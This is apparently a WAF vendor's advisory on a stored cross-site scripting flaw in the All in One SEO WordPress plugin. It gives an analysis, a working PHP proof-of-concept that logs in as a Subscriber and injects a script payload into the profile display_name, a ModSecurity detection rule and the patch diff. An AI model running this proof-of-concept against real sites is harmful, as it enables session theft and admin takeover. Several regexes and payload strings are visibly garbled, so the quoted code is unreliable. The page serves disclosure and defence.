Opens in a new tab
Published : November 16, 2026

CVE-2026-128038: All in One SEO <= 5.0.5 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' User Profile Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.5
Patched Version 5.0.5.1
Disclosed November 15, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-128038: Authenticated (Subscriber+) Stored Cross-Site Scripting in All in One SEO helpers->decodeHtmlEntities() at the end of the method. The vulnerable line was `$string = preg_replace_callback(…, aioseo()->helpers->decodeHtmlEntities( $string ) );` which decoded the whole rendered crumb after substitution. Tag values sourced from user-controlled data (such as the author display_name) were therefore converted from stored HTML entities back into live markup after substitution. The newly added escapeTagValue() method did not exist in 5.0.5, so no per-tag contextual escaping was applied: breadcrumb_link was not passed through esc_url(), and default tags were not passed through esc_html(). Separately, Frontend.php::stripLink() used the loose regex `/|/is`, which only matched anchor start tags containing whitespace after the tag name. Payloads like `` or “ evaded the link stripper. The combination of whole-string entity decoding plus the loose stripLink regex allowed attacker-controlled markup to reach the final HTML.”,

“Exploitation: An attacker registers or authenticates as a Subscriber and sets the profile ‘display_name’ field (wp-admin/profile.php or the corresponding REST/wp-json/wp/v2/users/me POST) to a payload such as `Click me` or ``. The value is stored in wp_users.display_name. When a victim loads the author archive page (/author//) where the site admin has inserted the AIOSEO breadcrumb, the breadcrumb engine substitutes the author display_name tag via replaceTagsInString(). stripLink() fails to remove the payload because the anchor tag lacks whitespace after `<a`, and decodeHtmlEntities() then decodes any entity-encoded characters, yielding live markup in the rendered breadcrumb. Clicking the rendered crumb link (per the CVE description, this requires WP 6.6+ with the Interactivity runtime) executes the JavaScript in the victim's session.",

"Patch Analysis: Three coordinated changes fix the flaw. First, Tags.php::replaceTagsInString() stops decoding the whole string; decodeHtmlEntities() is no longer applied to $string before the title-attribute regex, and the callback now operates on `(string) $string` directly. This prevents encoded tag values from being revived as markup anywhere except inside the title attribute. Second, a new escapeTagValue() method is introduced and invoked for every tag value before substitution. It applies esc_url() to breadcrumb_link, passes breadcrumb_separator and breadcrumb_wc_product_price through unchanged because they are trusted markup generators, and applies `esc_html( decodeHtmlEntities( $value ) )` to all other tags. This double-step preserves entities already stored by WordPress without allowing new markup through. Third, Frontend.php::stripLink() tightens the regex from `/|/is` to `/]*>|/i`, so any `<a` not followed by an alphanumeric or dash is matched and stripped. The patch also simplifies the search-query branch in Frontend.php line 112 to a single esc_html() call. Together these changes route every attacker-controlled breadcrumb value through a context-appropriate escaper and close the stripLink bypass.",

"Impact: Successful exploitation yields stored cross-site scripting executed in the browser of any visitor (including administrators) who clicks the rendered breadcrumb on the author archive. An attacker can steal session cookies, perform actions as the victim (including admin actions if a site operator is lured), inject persistent malicious content, modify plugin and theme settings, create backdoor administrator accounts, or exfiltrate sensitive data. Because the payload is stored in the user profile, it persists until an administrator manually cleans the display_name field or the plugin is updated. Subscriber-level access is the only prerequisite, which makes this reachable on any WordPress site that accepts user registration or has any low-privileged account."
,
"poc_php": "<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-128038 – All in One SEO <= 5.0.5 – Authenticated (Subscriber+) Stored XSS via 'display_name'n//n// Usage: php poc.php n// The script logs in as a Subscriber, injects the XSS payload into the profilen// display_name field, and prints the URL that triggers the payload when visitedn// by a victim browsing the author archive with the AIOSEO breadcrumb rendered.nn$target_url = isset($argv[1]) ? rtrim($argv[1], ‘/’) : ‘http://localhost/wordpress’;n$subscriber_username = isset($argv[2]) ? $argv[2] : ‘subscriber’;n$subscriber_password = isset($argv[3]) ? $argv[3] : ‘password’;nn// Payload chosen to bypass the loose stripLink regex in 5.0.5: `<a` followedn// by a character that is not whitespace. The breadcrumb engine decodes entitiesn// so we can also ship an encoded variant to be safe against intermediate filters.n$payload = 'CLICK‘;nn$cookie_jar = tempnam(sys_get_temp_dir(), ‘aioseo_cve_’);nnfunction http_request( $url, $method = ‘GET’, $post_fields = null, $cookie_jar = null, $follow = true ) {n $ch = curl_init( $url );n curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );n curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, $follow );n curl_setopt( $ch, CURLOPT_USERAGENT, ‘AtomicEdge-PoC/1.0’ );n if ( $cookie_jar ) {n curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie_jar );n curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_jar );n }n if ( $method === ‘POST’ ) {n curl_setopt( $ch, CURLOPT_POST, true );n if ( $post_fields !== null ) {n curl_setopt( $ch, CURLOPT_POSTFIELDS, $post_fields );n }n }n $body = curl_exec( $ch );n $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );n curl_close( $ch );n return array( $code, $body );n}nn// Step 1: fetch the login form to obtain any required cookies and noncesnlist( $login_get_code, $login_get_body ) = http_request( $target_url . ‘/wp-login.php’, ‘GET’, null, $cookie_jar );nif ( $login_get_code !== 200 ) {n fwrite( STDERR, “Failed to load login page (HTTP $login_get_code)\n” );n exit( 1 );n}nn// Step 2: perform the login as a Subscribern$login_fields = http_build_query( array(n ‘log’ => $subscriber_username,n ‘pwd’ => $subscriber_password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/profile.php’,n ‘testcookie’ => ‘1’,n) );nlist( $login_post_code, $login_post_body ) = http_request( $target_url . ‘/wp-login.php’, ‘POST’, $login_fields, $cookie_jar );nif ( strpos( (string) $login_post_body, ‘login_error’ ) !== false ) {n fwrite( STDERR, “Authentication failed for $subscriber_username\n” );n exit( 1 );n}nn// Step 3: load the profile page to fetch the _wpnonce and _wp_http_referer valuesnlist( $profile_get_code, $profile_get_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘GET’, null, $cookie_jar );nif ( $profile_get_code !== 200 ) {n fwrite( STDERR, “Failed to load profile page (HTTP $profile_get_code). Subscriber may lack access.\n” );n exit( 1 );n}nnif ( ! preg_match( ‘/name=”_wpnonce”\s+value=”([^”]+)”/i’, $profile_get_body, $nonce_match ) ) {n fwrite( STDERR, “Could not extract _wpnonce from profile page\n” );n exit( 1 );n}n$nonce = $nonce_match[1];nnif ( ! preg_match( ‘/name=”_wp_http_referer”\s+value=”([^”]*)”/i’, $profile_get_body, $referer_match ) ) {n $referer = ‘/wp-admin/profile.php’;n} else {n $referer = $referer_match[1];n}nn// Step 4: submit the profile update with the malicious display_namen$profile_fields = http_build_query( array(n ‘_wpnonce’ => $nonce,n ‘_wp_http_referer’=> $referer,n ‘from’ => ‘profile’,n ‘checkuser_id’ => ”,n ‘action’ => ‘update’,n ‘user_id’ => ”,n ‘display_name’ => $payload,n ‘submit’ => ‘Update Profile’,n) );nlist( $profile_post_code, $profile_post_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘POST’, $profile_fields, $cookie_jar );nn// Step 5: verify that the payload is now stored on the profile pagenlist( $verify_code, $verify_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘GET’, null, $cookie_jar );n$stored = ( strpos( (string) $verify_body, ‘javascript:alert(document.domain)’ ) !== false );nn@unlink( $cookie_jar );nnecho “[*] Target: $target_url\n”;necho “[*] Subscriber: $subscriber_username\n”;necho “[*] Profile POST: HTTP $profile_post_code\n”;necho “[*] Payload stored: ” . ( $stored ? ‘YES’ : ‘NO (may be encoded; check manually)’ ) . “\n”;necho “[*] Trigger URL: $target_url/author//\n”;necho “[*] Note: victim must load the author archive on a site where an admin\n”;necho ” has rendered the AIOSEO breadcrumb and where WP 6.6+ Interactivity\n”;necho ” runtime is loaded. Clicking the rendered crumb fires the alert.\n”;n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-128038n# Block Stored XSS attempts against the WordPress profile display_name field.n# The vulnerability is exploited by a Subscriber updating their profile with ann# unescaped payload that contains an HTML anchor/script tag or event handler.n# Legitimate display_name values almost never contain angle brackets or then# javascript: scheme, so this rule is surgically scoped to profile update POSTs.nSecRule REQUEST_URI “@streq /wp-admin/profile.php” \n “id:2026128038,phase:2,deny,status:403,chain,msg:’CVE-2026-128038 Stored XSS via display_name in AIOSEO breadcrumbs’,severity:’CRITICAL’,tag:’CVE-2026-128038′,tag:’OWASP_CRS/WEB_ATTACK/XSS'”n SecRule REQUEST_METHOD “@streq POST” “chain”n SecRule ARGS_POST:display_name “@rx (?i)(<\s*a[\s/]|<\s*script|javascript\s*:|on(error|load|click|mouseover|focus)\s*=|data\s*:\s*text/html)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase""
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/all-in-one-seo-pack/all_in_one_seo_pack.php
+++ b/all-in-one-seo-pack/all_in_one_seo_pack.php
@@ -5,7 +5,7 @@
  * Description: SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs, business sites, ecommerce sites, and much more. More than 100 million downloads since 2007.
  * Author:      All in One SEO Team
  * Author URI:  https://aioseo.com/
- * Version:     5.0.5
+ * Version:     5.0.5.1
  * Text Domain: all-in-one-seo-pack
  * Domain Path: /languages
  * Requires PHP: 7.4
--- a/all-in-one-seo-pack/app/Common/Breadcrumbs/Frontend.php
+++ b/all-in-one-seo-pack/app/Common/Breadcrumbs/Frontend.php
@@ -112,10 +112,7 @@
 			if ( is_search() ) {
 				$type = 'search';
 				// The search query ends up in the crumb that breadcrumbToDisplay() runs do_shortcode() on.
-				// It comes back decoded, so it is escaped for html here and again for the decode the crumb
-				// template does before output.
-				$reference = aioseo()->helpers->removeShortcodeBrackets( sanitize_text_field( get_search_query() ) );
-				$reference = htmlspecialchars( esc_html( $reference ), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 );
+				$reference = esc_html( aioseo()->helpers->removeShortcodeBrackets( sanitize_text_field( get_search_query() ) ) );
 			}

 			if ( is_404() ) {
@@ -382,13 +379,14 @@
 	/**
 	 * Helper function to strip a html link from the crumb.
 	 *
-	 * @since 4.1.1
+	 * @since   4.1.1
+	 * @version 5.0.5.1 Match every anchor start tag, not only ones followed by whitespace.
 	 *
 	 * @param  string $html The crumb's html.
 	 * @return string       A crumb html without links.
 	 */
 	public function stripLink( $html ) {
-		return preg_replace( '/<as.*?>|</a>/is', '', (string) $html );
+		return preg_replace( '/<a(?![a-z0-9-])[^>]*>|</a>/i', '', (string) $html );
 	}

 	/**
--- a/all-in-one-seo-pack/app/Common/Breadcrumbs/Tags.php
+++ b/all-in-one-seo-pack/app/Common/Breadcrumbs/Tags.php
@@ -25,7 +25,8 @@
 	/**
 	 * Replace the tags in the string provided.
 	 *
-	 * @since 4.1.1
+	 * @since   4.1.1
+	 * @version 5.0.5.1 Escape the tag values and stop decoding the whole string.
 	 *
 	 * @param  string  $string           The string with tags.
 	 * @param  array   $item             The breadcrumb item.
@@ -46,7 +47,7 @@
 			$tagId   = aioseo()->tags->denotationChar . $tag['id'];
 			$pattern = "/$tagId(?![a-zA-Z0-9_])/im";
 			if ( preg_match( $pattern, (string) $string ) ) {
-				$tagValue = str_replace( '$', '$', (string) $this->getTagValue( $tag, $item ) );
+				$tagValue = str_replace( '$', '$', $this->escapeTagValue( $tag['id'], $this->getTagValue( $tag, $item ) ) );
 				$string   = preg_replace( $pattern, $tagValue, (string) $string );
 			}
 		}
@@ -56,11 +57,12 @@
 		}

 		// Remove any remaining tags from the title attribute.
+		// Only the title is decoded: decoding the whole string would turn encoded tag values into live markup.
 		$string = preg_replace_callback( '/title="([^"]*)"/i', function ( $matches ) {
 			$sanitizedTitle = wp_strip_all_tags( aioseo()->helpers->decodeHtmlEntities( $matches[1] ) );

 			return 'title="' . esc_attr( $sanitizedTitle ) . '"';
-		}, aioseo()->helpers->decodeHtmlEntities( $string ) );
+		}, (string) $string );

 		return preg_replace(
 			'/>thisisjustarandomplaceholder<(?![a-zA-Z0-9_])/im',
@@ -70,6 +72,31 @@
 	}

 	/**
+	 * Escapes a tag value for the crumb's HTML.
+	 *
+	 * @since 5.0.5.1
+	 *
+	 * @param  string $tagId The tag ID.
+	 * @param  mixed  $value The tag value.
+	 * @return string        The escaped tag value.
+	 */
+	protected function escapeTagValue( $tagId, $value ) {
+		$value = (string) $value;
+
+		switch ( $tagId ) {
+			case 'breadcrumb_link':
+				return esc_url( $value );
+			// These return markup.
+			case 'breadcrumb_separator':
+			case 'breadcrumb_wc_product_price':
+				return $value;
+			default:
+				// Decoded first so the entities WordPress already stored aren't double-encoded.
+				return esc_html( aioseo()->helpers->decodeHtmlEntities( $value ) );
+		}
+	}
+
+	/**
 	 * Get the value of the tag to replace.
 	 *
 	 * @since   4.1.1
--- a/all-in-one-seo-pack/vendor/autoload.php
+++ b/all-in-one-seo-pack/vendor/autoload.php
@@ -22,4 +22,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit2536c887724264b0d92908060922be56::getLoader();
+return ComposerAutoloaderInitd2bae48b3ad107f510a03ceb0f8403fb::getLoader();
--- a/all-in-one-seo-pack/vendor/composer/autoload_real.php
+++ b/all-in-one-seo-pack/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit2536c887724264b0d92908060922be56
+class ComposerAutoloaderInitd2bae48b3ad107f510a03ceb0f8403fb
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit2536c887724264b0d92908060922be56', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitd2bae48b3ad107f510a03ceb0f8403fb', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit2536c887724264b0d92908060922be56', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitd2bae48b3ad107f510a03ceb0f8403fb', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit2536c887724264b0d92908060922be56::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb::getInitializer($loader));

         $loader->register(true);

--- a/all-in-one-seo-pack/vendor/composer/autoload_static.php
+++ b/all-in-one-seo-pack/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit2536c887724264b0d92908060922be56
+class ComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb
 {
     public static $prefixLengthsPsr4 = array (
         'L' =>
@@ -418,10 +418,10 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit2536c887724264b0d92908060922be56::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit2536c887724264b0d92908060922be56::$prefixDirsPsr4;
-            $loader->prefixesPsr0 = ComposerStaticInit2536c887724264b0d92908060922be56::$prefixesPsr0;
-            $loader->classMap = ComposerStaticInit2536c887724264b0d92908060922be56::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb::$prefixDirsPsr4;
+            $loader->prefixesPsr0 = ComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb::$prefixesPsr0;
+            $loader->classMap = ComposerStaticInitd2bae48b3ad107f510a03ceb0f8403fb::$classMap;

         }, null, ClassLoader::class);
     }
--- a/all-in-one-seo-pack/vendor/composer/installed.php
+++ b/all-in-one-seo-pack/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'awesomemotive/all-in-one-seo-pack-pro',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '64b98ff333c1d86fb01ffc29f6b361944d295cfa',
+        'reference' => '8852801aa22c6f8780d461d69f8ad67a26dfe5d4',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'awesomemotive/all-in-one-seo-pack-pro' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '64b98ff333c1d86fb01ffc29f6b361944d295cfa',
+            'reference' => '8852801aa22c6f8780d461d69f8ad67a26dfe5d4',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.